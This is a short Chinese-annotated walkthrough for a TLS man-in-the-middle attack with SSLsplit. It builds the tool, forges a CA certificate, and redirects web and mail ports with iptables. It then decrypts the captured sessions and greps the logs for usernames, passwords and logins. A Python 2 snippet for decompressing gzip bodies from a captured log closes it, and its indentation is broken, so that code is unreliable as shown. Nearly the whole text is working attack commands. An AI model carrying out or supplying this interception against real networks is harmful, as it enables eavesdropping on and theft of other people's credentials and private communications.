1.安装git
apt-get install git
git clone https://github.com/droe/sslsplit.git /opt/sslsplit
apt-get install libssl-dev libevent-dev
cd /opt/sslsplit
make
make install
sslsplit -h
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
1.打开端口流量转发,临时打开重启后恢复
sysctl -w net.ipv4.ip_forward=1
iptables -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
iptables -t nat -L
创建目录以便启动,-S指定的目录为-j指定目录的子目录
rm -rf /opt/sslsplit/test*
mkdir /opt/sslsplit/test1
mkdir /opt/sslsplit/test1/logdir
启动SSLSplit
sslsplit -D -l connect.log -j /opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
ps -aux|grep ssl
kill pid
iptables -t nat -F
cd /opt/sslsplit/test1/logdir
ls -al
cat 20151005T010002Z-[10.42.0.207]:40281-[202.108.23.188]:443.log #这句自行替换
cd /opt/sslsplit/test1/logdir
find -name "*.log" |xargs grep user
find -name "*.log" |xargs grep password
find -name "*.log" |xargs grep login
find -name "*.log" |xargs grep 自己的用户名或者密码
mkdir ~/temp
cp -rf /opt/sslsplit/test1/logdir ~/temp
cd ~/temp
chmod 777 logdir
cd logdir
chmod 777 *.log
# -*- coding: UTF-8 -*-
import StringIO
import gzip
file = open('/home/hadoop/temp/test.log','rb')
try:
text = file.read( )
print text
#print all_the_text.split('\r\n\r\n')
#print all_the_text.split('\r\n\r\n')[4]
#print all_the_text.split('\r\n\r\n')[-2].split('6f4\r\n')[1].split('\r\n')
#\x1f\x8b\x08\x00开头是gzip压缩后的数据
#大段落分割用的是'\r\n\r\n'
#开头6f4\r\n\x1f\x8b\x08\x00
#结束\x00\x00\r\n0
#需要截取的范围x1f\x8b\x08\x00~\x00\x00
cpdata = text.split('\r\n\r\n')[-2].split('6f4\r\n')[1].split('\r\n')[0]
cpstream = StringIO.StringIO(cpdata)
g = gzip.GzipFile(fileobj=cpstream)
data = g.read()
print data
finally:
file.close( )